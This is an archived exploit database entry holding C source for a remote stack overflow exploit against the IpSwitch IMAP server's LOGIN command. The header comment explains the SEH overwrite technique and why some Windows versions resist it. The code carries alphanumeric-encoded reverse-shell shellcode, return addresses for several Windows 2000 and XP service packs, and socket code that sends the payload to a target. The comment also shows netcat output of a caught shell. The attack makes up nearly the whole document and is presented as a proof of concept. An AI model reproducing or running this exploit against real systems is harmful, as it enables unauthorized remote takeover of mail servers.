IPSwitch IMAP Server - LOGON Remote Stack Overflow

EDB-ID:

1035

Author:

nolimit

Type:

remote

Platform:

Windows

Published:

2005-06-07

/* 
IpSwitch IMAP Server LOGON stack overflow.
Software Hole discovered by iDEFENSE
POC written by nolimit and BuzzDee 

First, some information for the few of you that know how this stuff works.
The reason you see no SP2 or 2003 offsets is because of Windows SEH checks. 
Thats right, in this one situation, They've stopped hackers from exploiting the machine. 
At least with as much research as I care to do. The problem lies in the
fact that only alpha numeric memory addresses can be used in this exploit.
So what lies within the few regions of memory that is alpha numeric safe? Only system
DLLs.(Well also a 7000 byte TEB block section, which doesn't really produce much either).
So any SEH address overwritten that points to a system DLL  will fail past Windows XP SP2.
From what I've read and the few tricks I've tried, Theirs no way currently to get around the
protection In my situation. 

For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This is because 
of two reasons, While I've developed along with skylined an alpha numeric shellcode
to handle the stack protections in Windows XP/2K3, I don't think he's ready to release
it yet.So, when It does come around, you can use that and re-adjust the stack accordingly
for proper exploitation of SP1. 

The size we have on the stack is too small for a bindshell, but big enough for a reverse shell!
So I use ALPHA2's decoder and encoder (modified) to write info to reverse shell, then encode it.
visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php for more information.

Now, for the "impact assessment".
Because this doesn't work on SP2 / 2003, the 53 million users that use Imail should
mostly be safe from complete ownage. But, Do not let this fact let you not patch your
server! This exploit, sent with any offset, will still crash your IMAP server!
With that said, Thier is still a small amount of servers online that run one of these
targetted offsets, and therefore can be exploited. I hope this Proof Of Concept is the
push administrators need to patch their software.

For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs.

  C:\HACKING\tools>nc -vv -l -p 3333
	listening on [any] 3333 ...
	DNS fwd/rev mismatch: 2kvm != 2kvm.launchmodem.com
	connect to [192.168.1.95] from 2kvm [192.168.1.93] 1078
	Microsoft Windows 2000 [Version 5.00.2195]
	(C) Copyright 1985-2000 Microsoft Corp.
	
	C:\WINNT\system32>_

Questions? Comments?  
  nolimit@coreiso.org
  

                             -  - ---.
             .----------------------. |                      ·
             | :::::::::''''':::::: | !                   · /
             l  '''''           '': | `                  /_/
     .--- --·X·----------- -- -  -  | - c o r e i s o   __ \  ·   -  - ---.
     |       !                      :                  /_/\ \/            |
             |                                        _\ \ \              |
  S! /\____  |  _ ______/\ __ ______/\ __ ______/\   / /\_\/ _______ /\______
   _/    _/_____\    _    \__    _    \__    _    \_/ /  \ _/  ____//   _    \_
  //    /     _      /     /    _/     /     /     / /   / \_____      |/     /
_/     /      /     /    _/     \    _/\    ______/\/   /:     |/      /     /|
\ ___________/\ _________\ _____|\______\ __________\  /||     _______________|
 \/  .       . \/         \/        .    \/     /_/   / |______\          .
     |       |                      .          _\ \  /                    |
     |       |                      l         /_/\_\/                     |
     `------ | ------- -- -   - ---·X·-- -  -_\ \ \       -   -  - -- ----'
           . | :.            .....  !.      / /\_\/
           : | :::::......::::::::: |:     / /. \
           | `----------------------'|    /_//  /    www.coreiso.org
           `--- -  -                 |    \ \  /     Innovation, not imitation.
                             -  - ---'     \_\/

*/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")

void cmdshell (int sock);
long gimmeip(char *hostname);
char buffer[2500];

//special stuff
char* alphaEncodeShellcode(char *shellcode, int size);
// un-crypted shellcode that we'll fill our retn values, then encode.
char unEncShellcode[]=
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
//160 above, ip next 4 bytes then, pass 2 theres port
"\x64\x64\x64\x64\x66\x68\x0d\x05\x66\x53\x89\xe1\x95\x68\xec\xf9"
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";

//modified encoded alpha num SUB ECX, 2E8 JMP ECX
char jmpBack[]=
"VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089"
"IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIoqYyKHTB30WpyoKQAPA";
int paddingSize; // change when changing shellcode. 676 bytes - shellcodesize = this.
char jmp2KSP4[] = "\x40\x43\x44\x78"; //JMP EBX 2000 SP4 TESTED
char jmp2KSP3[] = "\x40\x23\x44\x78"; //JMP EBX 2000 SP3
char jmp2KSP2[] = "\x40\x21\x46\x78"; //JMP EBX 2000 SP2
char jmp2KSP1[] = "\x62\x54\x30\x77"; //POP POP RETN 2000 SP1 (no jmp ebx)
char jmp2KSP0[] = "\x6C\x30\x6B\x77"; //JMP EBX 2000 SP0
char jmpXPSP0[] = "\x63\x4F\x60\x77"; //JMP EBX WinXP SP0 no SEH XOR prot so JMP EBX is ok

int main(int argc,char *argv[])
{     
		WSADATA wsaData;
		struct sockaddr_in targetTCP;
		int sockTCP;
		unsigned short port = 143;
		long ip;
		if(argc < 5)
		{
			printf("IpSwitch IMAP server Remote Stack Overflow.\n"
				"This exploit uses a reverse shell payload.\n"
				"Usage: %s [retnaddr] [retport] [target] [address] <port_to_exploit>\n"
				" eg: %s 192.168.1.94 1564 2 192.168.1.95\n"
				"Targets:\n"
				"1. Windows XP SP 0.\n2. Windows 2000 SP4\n3. Windows 2000 SP3\n"
				"4. Windows 2000 SP2\n5. Windows 2000 SP1\n6. Windows 2000 SP0\n"
				"Read comments in source code for more info.\n"
				"Coded by nolimit@CiSO and BuzzDee.\n",argv[0],argv[0]);
			return 1;			
		}		
		if(argc==6)
			port = atoi(argv[5]);					
        	WSAStartup(0x0202, &wsaData);				
		printf("[*] Target:\t%s \tPort: %d\n\n",argv[4],port);
		ip=gimmeip(argv[4]);	
        	targetTCP.sin_family = AF_INET;
        	targetTCP.sin_addr.s_addr = ip;
        	targetTCP.sin_port = htons(port);
		//set ip/port specified. Probably could have done this easier, but whatever.
		unsigned long revIp = gimmeip(argv[1]);
		unsigned long *revPtr = (unsigned long *)&unEncShellcode;
		revPtr = revPtr + (160/4); //go to ip place, it adds by 4, and it's 160 bytes away.
		*revPtr = revIp;
		char *portPtr = (char *)revPtr + 6; //ptr + 2 bytes past
		int rPort = atoi(argv[2]);
		char *revPortPtr = (char *)&rPort;
		memcpy(portPtr,revPortPtr+1,1);
		memcpy(portPtr+1,revPortPtr,1);
		//done formatting, now lets encode it.
		char *shellcode = alphaEncodeShellcode(unEncShellcode,sizeof(unEncShellcode));
		paddingSize = 676 - strlen(shellcode);
		//form buffer here.
		memset(buffer,'\x00',2500);
		strcpy(buffer,"A001 LOGIN user@");
		memset(buffer+16,'\x41',paddingSize); //INC ECX nopslide
		strcat(buffer,shellcode);
		strcat(buffer,"r!s!"); //jmp over SE handler
		switch(atoi(argv[3]))
		{
			case 1:
			printf("[*] Targetting Windows XP SP 0..\n");
			strcat(buffer,jmpXPSP0);
			break;
			case 2:
			printf("[*] Targetting Windows 2000 SP4..\n");
			strcat(buffer,jmp2KSP4);
			break;
			case 3:
			printf("[*] Targetting Windows 2000 SP3..\n");
			strcat(buffer,jmp2KSP3);
			break;
			case 4:
			printf("[*] Targetting Windows 2000 SP2..\n");
			strcat(buffer,jmp2KSP2);
			break;
			case 5:
			printf("[*] Targetting Windows 2000 SP1..\n");
			strcat(buffer,jmp2KSP1);
			break;
			case 6:
			printf("[*] Targetting Windows 2000 SP0..\n");
			strcat(buffer,jmp2KSP0);
			break;
			default:
			printf("Target error.\n");
			return 1;
			break;
		}
		memset(buffer+strlen(buffer),'\x41',29);
		strcat(buffer,jmpBack); //decodes to jmp back to top part of buffer
		memset(buffer+strlen(buffer),'\x41',1323);
		strcat(buffer," nolimits\r\n");
		//buffer formed
		if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		{
				printf("[x] Socket not initialized! Exiting...\n");
				WSACleanup();
                return 1;
		}
		printf("[*] Socket initialized...\n");					
		if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
		{
			printf("[*] Connection to host failed! Exiting...\n");
			WSACleanup();
			exit(1);
		} 		
		printf("[*] Sending  buffer.\n");
		Sleep(1000);
		if (send(sockTCP, buffer, strlen(buffer),0) == -1)
		{
				printf("[x] Failed to inject packet! Exiting...\n");
				WSACleanup();
                return 1;
		}
		Sleep(1000);
		closesocket(sockTCP);
		WSACleanup();
		printf("Exploit sent. Reverse Shell should be comming if everyhing worked.\n");
		return 0;
}

/*********************************************************************************/
long gimmeip(char *hostname) 
{
	struct hostent *he;
	long ipaddr;
	
	if ((ipaddr = inet_addr(hostname)) < 0) 
	{
		if ((he = gethostbyname(hostname)) == NULL) 
		{
			printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
			WSACleanup();
			exit(1);
		}
		memcpy(&ipaddr, he->h_addr, he->h_length);
	}	
	return ipaddr;
}
/*********************************************************************************/

//Below here, all code is modified code from ALPHA 2: Zero-tolerance by Berend-Jan Wever.
//  aka Skylined  <skylined@edup.tudelft.nl>. Hats off to him.

//ecx ascii decoder.
#define ecx_mixedcase_ascii_decoder	"IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
// shellcode ptr & size
char* alphaEncodeShellcode(char *shellcode, int size)
{
	int   i, input, A, B, C, D, E, F;
	char* valid_chars="0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	//first, create a big enough shellcode memory section
	char *encShellcode = (char *) malloc(sizeof((ecx_mixedcase_ascii_decoder) + (size * 2)));
	strcpy(encShellcode,ecx_mixedcase_ascii_decoder);
	char buff[4];
	int z=0;
	for(;z < size;z++)
	{
		 // encoding AB -> CD 00 EF 00
		A = (shellcode[z] & 0xf0) >> 4;
		B = (shellcode[z] & 0x0f);

		F = B;
		// E is arbitrary as long as EF is a valid character
		i = rand() % strlen(valid_chars);
		while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
		E = valid_chars[i] >> 4;
		// normal code uses xor, unicode-proof uses ADD.
		// AB ->
		D =  0 ? (A-E) & 0x0f : (A^E);
		// C is arbitrary as long as CD is a valid character
		i = rand() % strlen(valid_chars);
		while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
		C = valid_chars[i] >> 4;
		//edit, use curChar ptr to strncpy it.
		//printf("%c%c", (C<<4)+D, (E<<4)+F);
		sprintf(buff,"%c%c",(C<<4)+D, (E<<4)+F);
		strcat(encShellcode,buff);
	}
	return encShellcode;
}

// milw0rm.com [2005-06-07]